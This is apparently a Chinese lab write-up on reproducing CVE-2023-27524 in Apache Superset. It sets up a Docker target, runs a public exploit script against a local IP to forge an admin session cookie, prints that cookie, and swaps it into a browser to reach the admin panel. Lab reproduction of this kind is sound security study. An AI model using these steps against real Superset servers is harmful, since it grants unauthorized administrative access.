ApacheSuperset CVE-2023-27524

淡水猫.2025-06-08 14:07

前言:CVE-2023-27524 是一种远程代码执行漏洞，攻击者通过该漏洞可在受影响系统上执行任意代码，从而获得未授权访问权

CVE-2023-27524 GitHubhttps://github.com/horizon3ai/CVE-2023-27524

任务一代理 | 拉取镜像

复制代码

vi /etc/proxychains4.conf
//最下面修改真机IP端口

复制代码

docker compose up -d
docker ps
//拉取成功后查看8088就是服务器端口

任务二 python 问题解决

复制代码

python3 CVE-2023-27524.py --url 192.168.247.139:8088 --id 1 --validate
//发现缺少 'flask_unsign'

复制代码

python3 -m venv myenv
source myenv/bin/activate
//创建并激活一个虚拟环境

//安装 flask-unsign
proxychains4 pip install flask-unsign

任务三生成cookie

复制代码

python3 CVE-2023-27524.py --url 192.168.247.139:8088 --id 1 --validate
//下面这样就是安装成功了

【eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.aEAshA.TmTRYFed6TPxFmeOmLRrQAXX3vc】

任务四替换cookie

复制代码

//随便下载一个cookie的小插件 我用的是cookieManage

复制代码

//替换进去保存，刷新一下就进管理界面了

任务五实验结束